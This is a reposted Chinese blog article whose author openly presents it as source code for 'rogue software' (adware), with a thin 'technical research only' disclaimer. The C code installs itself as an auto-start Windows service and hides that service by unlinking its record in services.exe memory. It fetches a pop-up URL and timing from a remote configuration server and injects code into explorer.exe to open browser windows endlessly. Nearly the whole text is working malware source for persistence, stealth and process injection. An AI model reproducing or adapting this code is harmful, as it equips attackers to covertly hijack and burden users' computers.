欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  网络运营

弹窗口的流氓软件核心代码

程序员文章站 2022-04-07 09:54:30
ps:请勿用于非法用途,仅供技术研究之用。 by:yunshu 这个东西的主要功能就是去网上一个URL读取配置文件,拿到需要弹出的窗口以及周期时间,然后开始弹……程序安装成... 08-12-27...
ps:请勿用于非法用途,仅供技术研究之用。
by:yunshu
这个东西的主要功能就是去网上一个url读取配置文件,拿到需要弹出的窗口以及周期时间,然后开始弹……程序安装成服务,并设置为自动启动。启动之后写入一段代码到explorer.exe进程中,也就是这里在弹网页,然后将服务停止。
我写的代码没什么技术含量,唯一的是使用了我们team的zzzevazzz的隐藏服务代码,最开始他是发在ph4nt0m的核心区的。不过他已经在自己的blog写过,所以我发出来也没问题了。
这个是主函数,安装,读取配置,注入代码用的。
代码:
/**************************************************************************************************
* 1. 给xx作的流氓软件
* 2. 隐藏服务是copy的eva的代码,修改services.exe进程内存。
**************************************************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <winsock2.h>
#include <windows.h>
#include <tlhelp32.h>
// 是否记录日志
//#define debug
#ifdef debug
#define debug_log "c:\debug.txt"
// 日志记录函数
void logtofile( wchar * );
#endif
#include "controlservice.h"
#include "hideservice.h"
#include "customfunction.h"
#pragma comment (lib, "advapi32.lib")
#pragma comment (lib, "shell32.lib")
#pragma comment (lib, "ws2_32.lib")
#pragma comment (lib, "user32.lib")
#define remote_func_length 1024 * 10 // 拷贝的长度
#define target_process l"explorer.exe" // 要注入代码的目标进程
#define config_host "www.icylife.net" // 读取配置信息的服务器
#define config_path "/url.txt" // 配置信息在配置服务器的路径
#define ie_path "c:\program files\internet explorer\iexplore.exe"
#define default_url "http://www.he100.com" // 默认弹出的窗口
#define default_sleep_time 30 * 60 * 1000 // 默认弹出窗口的间隔时间
// 宏,转换字符串为unicode
#define multi_to_wide( x, y ) multibytetowidechar( cp_acp, mb_precomposed,y,-1,x,_max_path );
// 弹出窗口之间的间隔时间
int sleep_time;
// 弹出的url地址
char url_path[512] = { 0 };
/**************************************************************************************************
* 函数原形
**************************************************************************************************/
void servicemain( dword, char **); //服务入口
bool setdebugprivilege( ); //获取debug权限
dword getprocessidbyname(wchar * ); //获取进程的pid
void injectcode( ); //写代码到远程进程
void getconfig( ); //更新配置,获取要弹出的地址和弹出间隔时间
/**************************************************************************************************
* 程序入口,主函数
**************************************************************************************************/
int winmain( hinstance hinstance, hinstance hprevinstance, lpstr lpcmdline, int ncmdshow )
{
wchar filepath[max_path] = { 0 }; //程序本身路径
service_table_entry servicetable[2];
servicetable[0].lpservicename = service_name;
servicetable[0].lpserviceproc = ( lpservice_main_function )servicemain;
servicetable[1].lpservicename = null;
servicetable[1].lpserviceproc = null;
getmodulefilename( null, filepath, max_path );
// 如果服务未安装,安装
if( !serviceexists( filepath ) )
{
if( serviceinstall( filepath ) != true )
{
return -1;
}
else
{
return 0;
}
}
if( !startservicectrldispatcher( servicetable ) )
{
#ifdef debug
wchar tmp[256] = { 0 };
wsprintf( tmp, l"main startservicectrldispatcher error: %d\n", getlasterror() );
logtofile( tmp );
#endif
return -1;
}
return 0;
}
/**************************************************************************************************
* 服务入口
**************************************************************************************************/
void servicemain( dword argc, char *argv[] )
{
servicestatus.dwservicetype = service_win32_own_process;
servicestatus.dwcurrentstate = service_start_pending;
servicestatus.dwcontrolsaccepted = service_accept_stop;
servicestatus.dwwin32exitcode = 0;
servicestatus.dwservicespecificexitcode = 0;
servicestatus.dwcheckpoint = 0;
servicestatus.dwwaithint = 0;
#ifdef debug
logtofile( l"servicemain: try to register service\n" );
#endif
hservicestatus = registerservicectrlhandler( service_name, (lphandler_function)servicecontrol );
if( hservicestatus == (service_status_handle)0 )
{
#ifdef debug
wchar tmp[256] = { 0 };
wsprintf( tmp, l"servicemain: register service error: %d\n", getlasterror() );
logtofile( tmp );
#endif
return;
}
servicestatus.dwcurrentstate = service_running;
servicestatus.dwcheckpoint = 0;
servicestatus.dwwaithint = 0;
if( !setservicestatus( hservicestatus, &servicestatus ) )
{
#ifdef debug
wchar tmp[256] = { 0 };
swprintf( tmp, l"servicemain: start service error: %d\n", getlasterror() );
logtofile( tmp );
#endif
return;
}
#ifdef debug
logtofile( l"servicemain: start service ok\n" );
#endif
// 隐藏服务
hideservice( service_name );
// 从网络读取配置
getconfig( );
// 注入代码
injectcode( );
servicestatus.dwcurrentstate = service_stopped;
if( !setservicestatus( hservicestatus, &servicestatus) )
{
#ifdef debug
wchar tmp[256] = { 0 };
wsprintf( tmp, l"servicemain: stop service error: %d\n", getlasterror() );
logtofile( tmp );
#endif
}
#ifdef debug
logtofile( l"stop service in main.\n" );
#endif
#ifdef debug
logtofile( l"servicemain done.\n" );
#endif
return;
}
void injectcode( )
{
if( ! setdebugprivilege() )
{
#ifdef debug
logtofile( l"set debug privileges error.\n" );
#endif
return;
}
dword dwpid = -1;
while( 1 )
{
dwpid = getprocessidbyname( target_process );
if( -1 != dwpid )
{
#ifdef debug
wchar tmp[256] = { 0 };
wsprintf( tmp, l"target process id is %d\n", dwpid );
logtofile( tmp );
#endif
break;
}
#ifdef debug
logtofile( l"target process not found, sleep and continue.\n" );
#endif
sleep( 30 * 1000 );
}
sleep( 2 * 60 * 1000 );
// 打开进程
handle hprocess = openprocess( process_create_thread | process_vm_operation | process_vm_write, false, dwpid );
if( ! hprocess )
{
#ifdef debug
logtofile( l"openprocess error.\n" );
#endif
return;
}
//计算loadlibrarya和getprocaddress的入口地址,这两个函数由kernel32.dll导出,在各进程中不变
arguments arguments;
memset( (void *)&arguments, 0, sizeof(arguments) );
hmodule hkernel = getmodulehandlea( "kernel32" );
if( hkernel == null )
{
#ifdef debug
logtofile( l"getmodulehandle kernel32.dll error.\n" );
#endif
return;
}
arguments.myloadlibrary = getprocaddress( hkernel, "loadlibrarya" );
arguments.mygetaddress = getprocaddress( hkernel, "getprocaddress" );
strcpy( arguments.mykerneldll, "kernel32.dll" );
strcpy( arguments.myprogram, ie_path );
strcpy( arguments.myshelldll, "shell32.dll" );
strcpy( arguments.myshellexecute, "shellexecutea" );
strcpy( arguments.myurl, url_path );
strcpy( arguments.myzeromemory, "rtlzeromemory" );
arguments.sleeptime = sleep_time;
// 在远程进程中分配内存存放参数,可写权限
arguments *remote_agrument = (arguments *)virtualallocex( hprocess,
0,
sizeof(arguments),
mem_commit,
page_readwrite );
if( !remote_agrument )
{
#ifdef debug
logtofile( l"virtualallocex for arguments error.\n" );
#endif
return;
}
#ifdef debug
wchar tmp[256] = { 0 };
wsprintf( tmp, l"remote arguments' addr: 0x%08x\n", (dword)remote_agrument );
logtofile( tmp );
#endif
// 将参数写入远程进程内存
int bytes_write;
if( !writeprocessmemory( hprocess, (lpvoid)remote_agrument, (lpvoid)&arguments, sizeof(arguments), (size_t *)&bytes_write) )
{
#ifdef debug
logtofile( l"writeprocessmemory for arguments error.\n" );
#endif
return;
}
// 在远程进程中分配内存存放代码,可执行权限
lpvoid remote_func = virtualallocex( hprocess,
0,
remote_func_length,
mem_commit,
page_execute_readwrite );
if( !remote_func )
{
#ifdef debug
logtofile( l"virtualallocex for function error.\n" );
#endif
return;
}
#ifdef debug
memset( tmp, 0, sizeof(tmp) );
wsprintf( tmp, l"remote function address: 0x%08x\n", remote_func );
logtofile( tmp );
#endif
// 将代码写入远程进程内存
if( !writeprocessmemory( hprocess, (lpvoid)remote_func, (lpvoid)&customfunction, remote_func_length, (size_t *)&bytes_write) )
{
#ifdef debug
logtofile( l"writeprocessmemory for function error.\n" );
#endif
return;
}
#ifdef debug
memset( tmp, 0, sizeof(tmp) );
wsprintf( tmp, l"writeprocessmemory for function %d bytes\n", bytes_write );
logtofile( tmp );
#endif
handle remote_thread = createremotethread( hprocess, 0, 0, (lpthread_start_routine)remote_func, remote_agrument, 0, 0 );
if ( !remote_thread )
{
#ifdef debug
logtofile( l"createremotethread for function error.\n" );
#endif
return;
}
#ifdef debug
logtofile( l"createremotethread for function ok\n" );
#endif
/*
waitforsingleobject( remote_thread, infinite );
if( null != remote_func )
{
virtualfreeex( hprocess, remote_func, remote_func_length, mem_release );
#ifdef debug
logtofile( l"virtualfreeex for remote_func.\n" );
#endif
}
if( null != remote_agrument )
{
virtualfreeex( hprocess, remote_agrument, sizeof (arguments), mem_release);
#ifdef debug
logtofile( l"virtualfreeex for remote_agrument.\n" );
#endif
}
if( null != remote_thread )
{
closehandle( remote_thread );
#ifdef debug
logtofile( l"closehandle for remote_thread.\n" );
#endif
}
if( null != hprocess )
{
closehandle( hprocess );
#ifdef debug
logtofile( l"closehandle for hprocess.\n" );
#endif
}
*/
return;
}
void getconfig( )
{
#ifdef debug
wchar tmp[256] = { 0 };
#endif
wsadata wsa;
struct sockaddr_in sin;
memset( &sin, 0, sizeof(struct sockaddr_in) );
if( wsastartup( 0x0202, &wsa ) != 0 )
{
#ifdef debug
memset( tmp, 0, sizeof(tmp) );
wsprintf( tmp, l"wsastartup error: %d\n", getlasterror() );
logtofile( tmp );
#endif
goto getconfig_error;
}
struct hostent *phost = gethostbyname( config_host );
if( phost == null )
{
#ifdef debug
memset( tmp, 0, sizeof(tmp) );
wsprintf( tmp, l"resolv config host name error: %d\n", getlasterror() );
logtofile( tmp );
#endif
wsacleanup( );
goto getconfig_error;
}
memcpy( &sin.sin_addr , phost->h_addr_list[0] , phost->h_length );
sin.sin_family = af_inet;
sin.sin_port = htons( 80 );
#ifdef debug
memset( tmp, 0, sizeof(tmp) );
wchar ip[256] = { 0 };
multi_to_wide( ip, inet_ntoa( sin.sin_addr ));
wsprintf( tmp, l"resolv config host name ok: %s\n",ip );
logtofile( tmp );
#endif
socket sock = socket( af_inet , sock_stream , 0 );
if( sock == invalid_socket )
{
#ifdef debug
memset( tmp, 0, sizeof(tmp) );
wsprintf( tmp, l"connect to %s:%s error: \n", ip, 80, getlasterror() );
logtofile( tmp );
#endif
wsacleanup( );
goto getconfig_error;
}
int ret = connect( sock, (struct sockaddr *)&sin, sizeof(struct sockaddr_in) );
if( socket_error == ret )
{
#ifdef debug
memset( tmp, 0, sizeof(tmp) );
wsprintf( tmp, l"connect error: %d\n", getlasterror() );
logtofile( tmp );
#endif
closesocket( sock );
wsacleanup( );
goto getconfig_error;
}
char send_buff[512] = { 0 };
sprintf( send_buff, "get %s http/1.1\r\nhost: %s\r\naccept: */*\r\n\r\n", config_path, config_host );
#ifdef debug
memset( tmp, 0, sizeof(tmp) );
wchar tmp2[256] = { 0 };
multi_to_wide( tmp2, send_buff );
wsprintf( tmp, l"send request to get config:\n %s\n", tmp2 );
logtofile( tmp );
#endif
ret = send( sock, send_buff, strlen(send_buff), 0 );
if( socket_error == ret )
{
#ifdef debug
memset( tmp, 0, sizeof(tmp) );
wsprintf( tmp, l"send request error: %d\n", getlasterror() );
logtofile( tmp );
#endif
closesocket( sock );
wsacleanup( );
goto getconfig_error;
}
#ifdef debug
logtofile( l"send request ok!\n" );
#endif
char recv_buff[1024] = { 0 };
recv( sock, recv_buff, 1000, 0 );
if( !recv_buff )
{
closesocket( sock );
wsacleanup( );
goto getconfig_error;
}
closesocket( sock );
wsacleanup( );
char *content = strstr( recv_buff, "\r\n\r\n" );
if( !content )
{
goto getconfig_error;
}
content += strlen("\r\n\r\n");
#ifdef debug
memset( tmp, 0, sizeof(tmp) );
wchar c[256] = { 0 };
multi_to_wide( c, content );
wsprintf( tmp, l"config content is:\n%s\n", c );
logtofile( tmp );
#endif
char *split_flag = strstr( content, "|" );
if( !split_flag )
{
goto getconfig_error;
}
char tmp_time[32] = { 0 };
char tmp_url[512] = { 0 };
if( split_flag - content > 32 )
{
sleep_time = default_sleep_time;
}
else
{
strncpy( tmp_time, content, split_flag - content );
sleep_time = atoi( tmp_time );
}
if( strlen( split_flag ) >= 512 )
{
strcpy( url_path, default_url );
}
else
{
strcpy( url_path, split_flag + 1 );
}
return;
getconfig_error:
sleep_time = default_sleep_time;
strcpy( url_path, default_url );
return;
}
/**************************************************************************************************
* 记录日志函数
**************************************************************************************************/
#ifdef debug
void logtofile( wchar *str )
{
file *fp;
fp = fopen( debug_log, "a" );
fwprintf( fp, l"%s\n", str );
fclose( fp );
}
#endif
这个是隐藏服务用的,修改了services.exe文件,可能有一定的危险性。
代码:
// yunshu(pst) copy from zzzevazzz(pst)'s code
// 几个undocument的结构
typedef struct _sc_service_process sc_service_process, *psc_service_process;
typedef struct _sc_depend_service sc_depend_service, *psc_depend_service;
typedef struct _sc_service_record sc_service_record, *psc_service_record;
typedef struct _sc_service_process
{
psc_service_process previous;
psc_service_process next;
wchar *imagepath;
dword pid;
dword numberofservices;
// ...
} sc_service_process, *psc_service_process;
typedef struct _sc_depend_service
{
psc_depend_service next;
dword unknow;
psc_service_record service;
// ...
} sc_depend_service, *psc_depend_service;
typedef struct _sc_service_record
{
psc_service_record previous;
psc_service_record next;
wchar *servicename;
wchar *displayname;
dword index;
dword unknow0;
dword serv;
dword controlcount;
dword unknow1;
psc_service_process process;
service_status status;
dword starttype;
dword errorcontrol;
dword tagid;
psc_depend_service dependon;
psc_depend_service depended;
// ...
} sc_service_record, *psc_service_record;
bool setdebugprivilege()
{
bool bret = false;
handle htoken = null;
luid luid;
token_privileges tp;
if (openprocesstoken(getcurrentprocess(), token_all_access, &htoken) &&
lookupprivilegevalue(null, se_debug_name, &luid))
{
tp.privilegecount = 1;
tp.privileges[0].luid = luid;
tp.privileges[0].attributes = se_privilege_enabled;
bret = adjusttokenprivileges(htoken, false, &tp, sizeof(token_privileges), null, null);
}
if (htoken) closehandle(htoken);
return bret;
}
dword getprocessidbyname(wchar *name)
{
bool bret = false;
handle hprocesssnap = null;
processentry32 pe32 = { 0 };
dword pid = -1;
hprocesssnap = createtoolhelp32snapshot(th32cs_snapprocess, 0);
if (invalid_handle_value == hprocesssnap) return -1;
pe32.dwsize = sizeof(processentry32);
if (process32first(hprocesssnap, &pe32))
{
do
{
if ( !_wcsicmp(pe32.szexefile, name ) )
{
pid = pe32.th32processid;
break;
}
}
while (process32next(hprocesssnap, &pe32));
}
closehandle(hprocesssnap);
return pid;
}
// 修改内存属性为指定值
void protectwritedword(handle hprocess, dword *addr, dword value)
{
memory_basic_information mbi;
dword dwoldprotect, dwwritten;
virtualqueryex(hprocess, addr, &mbi, sizeof(mbi));
virtualprotectex(hprocess, mbi.baseaddress, mbi.regionsize, page_readwrite, &mbi.protect);
writeprocessmemory(hprocess, addr, &value, sizeof(dword), &dwwritten);
virtualprotectex(hprocess, mbi.baseaddress, mbi.regionsize, mbi.protect, &dwoldprotect);
}
//寻找服务链表
psc_service_record findfirstservicerecord(handle hprocess)
{
wchar filename[max_path+1];
handle hfile, hfilemap;
uchar * pmap;
dword dwsize, dwsizehigh, i, dwread;
sc_service_record svcrd, *psvcrd, *pret = null;
getsystemdirectory( filename, max_path );
wcscat( filename, l"\services.exe");
hfile = createfile(filename, generic_read, file_share_read,
null, open_existing, 0, null);
if (invalid_handle_value == hfile) return null;
dwsizehigh = 0;
dwsize = getfilesize(hfile, &dwsizehigh);
hfilemap = createfilemapping(hfile, null, page_readonly, 0, 0, null);
if (null == hfilemap) return null;
pmap = (uchar*)mapviewoffile(hfilemap, file_map_read, 0, 0, 0);
if (null == pmap) return null;
dwsize -= 12;
for (i=0; i<dwsize; ++i)
{
// 搜索services!scgetservicedatabase特征代码
if (*(dword*)(pmap+i) == 0xa1909090 &&
*(dword*)(pmap+i+8) == 0x909090c3)
{
#ifdef debug
wchar tmpbuffer[256] = { 0 };
wsprintf( tmpbuffer, l"map is 0x%08x\n", (dword *)(pmap+i) );
logtofile( tmpbuffer );
#endif
if (readprocessmemory(hprocess, *(pvoid*)(pmap+i+4), &psvcrd, sizeof(pvoid), &dwread) &&
readprocessmemory(hprocess, psvcrd, &svcrd, sizeof(svcrd), &dwread) &&
svcrd.serv == 'vres') // servicerecord结构的特征
{
pret = psvcrd;
#ifdef debug
wchar tmpbuffer[256] = { 0 };
wsprintf( tmpbuffer, l"pret is 0x%08x\n", (dword *)(psvcrd) );
logtofile( tmpbuffer );
#endif
break;
}
}
}
unmapviewoffile(pmap);
closehandle(hfilemap);
closehandle(hfile);
//printf( "addr: 0x%08x\n", (dword *)pret );
return pret;
}
// 隐藏服务
bool hideservice( wchar *name )
{
dword pid;
handle hprocess;
sc_service_record svcrd, *psvcrd;
dword dwread, dwnamesize;
wchar svcname[max_path] = { 0 };
dwnamesize = ( wcslen(name) + 1 ) * sizeof(wchar);
if (dwnamesize > sizeof(svcname)) return false;
pid = getprocessidbyname( text("services.exe") );
#ifdef debug
wchar tmpbuffer1[256] = { 0 };
wsprintf( tmpbuffer1, l"pid is %d\n", pid );
logtofile( tmpbuffer1 );
#endif
if (pid == -1) return false;
if( ! setdebugprivilege() ) return false;
hprocess = openprocess(process_all_access, false, pid);
if (null == hprocess) return false;
psvcrd = findfirstservicerecord(hprocess);
if (null == psvcrd)
{
#ifdef debug
logtofile( l"can't find servicedatabase.\n" );
#endif
closehandle(hprocess);
return false;
}
do
{
if (readprocessmemory(hprocess, psvcrd, &svcrd, sizeof(svcrd), &dwread) &&
readprocessmemory(hprocess, svcrd.servicename, svcname, dwnamesize, &dwread))
{
// 匹配服务名
if ( 0 == _wcsicmp(svcname, name) )
{
// 从链表中断开(一般来说servicerecord是可写的,但还是先改保护属性以防万一)
protectwritedword(hprocess, (dword *)svcrd.previous+1, (dword)svcrd.next);
protectwritedword(hprocess, (dword *)svcrd.next, (dword)svcrd.previous);
#ifdef debug
wchar tmpbuffer2[256] = { 0 };
wsprintf( tmpbuffer2, l"the service \"%s\" is hidden successfully.\n", name );
logtofile( tmpbuffer1 );
#endif
closehandle(hprocess);
return true;
}
}
else
{
break;
}
}
while (psvcrd = svcrd.next);
if( null != hprocess )
{
closehandle(hprocess);
}
return false;
}
这个是注入到explorer.exe进程中的代码,大部分参数是写内存写进去的,有少部分实在懒得搞了,用了一点汇编。
typedef struct _arguments
{
char myurl[512];
char myprogram[512];
farproc myloadlibrary;
farproc mygetaddress;
char mykerneldll[32];
char myshelldll[32];
char myzeromemory[32];
char myshellexecute[32];
dword sleeptime;
}arguments;
/**************************************************************************************************
* winapi函数原形
**************************************************************************************************/
typedef hmodule (__stdcall *loadlibrarya)( in char* lpfilename );
typedef farproc (__stdcall *getprocaddress)( in hmodule hmodule, in char* lpprocname );
typedef void (__stdcall *zeromemory)( in pvoid destination, in size_t length );
void __stdcall customfunction( lpvoid my_arguments )
{
arguments *func_args = (arguments *)my_arguments;
loadlibrarya loadlibrarya = (loadlibrarya)func_args->myloadlibrary;
getprocaddress getprocaddress = (getprocaddress)func_args->mygetaddress;
hmodule h_kernel = loadlibrarya( func_args->mykerneldll );
hmodule h_shell = loadlibrarya( func_args->myshelldll );
zeromemory zeromemory = (zeromemory)getprocaddress( h_kernel, func_args->myzeromemory );
dword myshellexecutea = (dword)getprocaddress( h_shell, func_args->myshellexecute );
dword mysleep;
dword sleep_time = func_args->sleeptime;
__asm
{
push eax
push esp
sub esp, 6
mov byte ptr [esp], 's'
mov byte ptr [esp+1], 'l'
mov byte ptr [esp+2], 'e'
mov byte ptr [esp+3], 'e'
mov byte ptr [esp+4], 'p'
mov byte ptr [esp+5], ''
lea eax, [esp]
push eax
push h_kernel
call getprocaddress
mov mysleep, eax
add esp, 6
pop esp
pop eax
}
while( 1 )
{
__asm
{
push eax
push esp
push ecx
push ebx
sub esp, 256
mov byte ptr [esp], 'o'
mov byte ptr [esp+1], 'p'
mov byte ptr [esp+2], 'e'
mov byte ptr [esp+3], 'n'
mov byte ptr [esp+4], ''
lea ebx, [esp]
push sw_showmaximized
push 0
push func_args
mov ecx, func_args
add ecx, 200h
lea eax, [ecx]
push eax
push ebx
push 0
call myshellexecutea
add esp, 256
pop ebx
pop ecx
pop esp
pop eax
push sleep_time
call mysleep
}
}
}
这个是控制服务的,正常的服务程序都有的代码,流氓软件应该不接受停止服务请求。
代码:
/**************************************************************************************************
* 全局变量
**************************************************************************************************/
#define service_name l"lemontree"
#define service_description l"lemontree"
#define service_display_name l"lemontree"
service_status servicestatus;
service_status_handle hservicestatus;
bool serviceinstall( wchar * ); //安装服务
bool serviceunstall( wchar * ); //删除服务
void servicecontrol( dword ); //控制服务
bool serviceexists( wchar * ); //判断服务是否存在
/***********************************************************************************
* 安装服务
* 参数:主程序全路径
* 返回:成功返回true,否则为false
***********************************************************************************/
bool serviceinstall( wchar *exefilepath )
{
wchar tmppath[max_path] = { 0 };
hkey key;
sc_handle servicemangerhandle = openscmanager( null, null, sc_manager_create_service );
if ( servicemangerhandle == 0 )
{
printf( "install: open services manager database error: %d\n", getlasterror() );
return false;
}
sc_handle servicehandle = createservice
(
servicemangerhandle ,
service_name ,
service_display_name ,
service_all_access ,
service_win32_own_process ,
service_auto_start ,
service_error_normal ,
exefilepath ,
null ,
null ,
null ,
null ,
null
);
if ( servicehandle == 0 )
{
printf( "create service error: %d\n", getlasterror() );
closeservicehandle( servicemangerhandle );
return false;
}
wcscpy( tmppath, l"system\currentcontrolset\services\" );
wcscat( tmppath, service_name );
if( regopenkey( hkey_local_machine, tmppath, &key ) != error_success )
{
printf( "open key %s error: %d\n", tmppath, getlasterror() );
return false;
}
regsetvalueex( key, l"description", 0, reg_sz, (byte *)service_description, wcslen(service_description) );
regclosekey(key);
if( !startservice( servicehandle, 0, 0 ) )
{
printf( "install service ok, but start it error: %d\n", getlasterror() );
}
else
{
printf( "install service ok, start it ok.\n" );
}
closeservicehandle( servicehandle );
closeservicehandle( servicemangerhandle );
return true;
}
/**************************************************************************************************
* 删除服务
**************************************************************************************************/
bool serviceunstall( wchar *servicename )
{
sc_handle scmhandle = openscmanager (null, null, sc_manager_all_access);
if ( scmhandle == null )
{
return false;
}
sc_handle schandle = openservice( scmhandle, servicename, service_all_access );
if( schandle == null )
{
closeservicehandle( scmhandle );
return false;
}
deleteservice( schandle );
closeservicehandle( schandle );
closeservicehandle( scmhandle );
return true;
}
/**************************************************************************************************
* 服务控制函数
**************************************************************************************************/
void servicecontrol( dword request )
{
#ifdef debug
logtofile( l"servicecontrol: into servicecontrol\n" );
#endif
switch ( request )
{
case service_control_pause:
servicestatus.dwcurrentstate = service_paused;
break;
case service_control_continue:
servicestatus.dwcurrentstate = service_running;
break;
case service_control_stop:
#ifdef debug
logtofile( l"servicecontrol: try to stop service\n" );
#endif
servicestatus.dwwin32exitcode = 0;
servicestatus.dwcurrentstate = service_stop_pending;
servicestatus.dwcheckpoint = 0;
servicestatus.dwwaithint = 0;
break;
case service_control_interrogate:
break;
default:
#ifdef debug
logtofile( l"servicecontrol: error arguments\n" );
#endif
break;
}
if( !setservicestatus( hservicestatus, &servicestatus ) )
{
#ifdef debug
wchar tmp[256] = { 0 };
wsprintf( tmp, l"servicemain: control service error: %d\n", getlasterror() );
logtofile( tmp );
#endif
}
return;
}
bool serviceexists( wchar *path )
{
wchar tmppath[max_path] = { 0 };
hkey key;
wchar value[512] = { 0 };
int type = reg_expand_sz;
int size = sizeof(value);
wcscpy( tmppath, l"system\currentcontrolset\services\" );
wcscat( tmppath, service_name );
if( regopenkeyex( hkey_local_machine, tmppath, 0, key_query_value, &key ) != error_success )
{
//printf( "regopenkeyex error: %d\n", getlasterror() );
return false;
}
if( regqueryvalueex( key, l"imagepath", null, (dword *)&type, (byte *)value, (dword *)&size ) != error_success )
{
//printf( "regqueryvalueex error: %d\n", getlasterror() );
return false;
}
if( key ) regclosekey( key );
// 如果服务的程序路径等于后门本身,表示已经安装
if( 0 == _wcsicmp( value, path ) )
{
return true;
}
return false;
}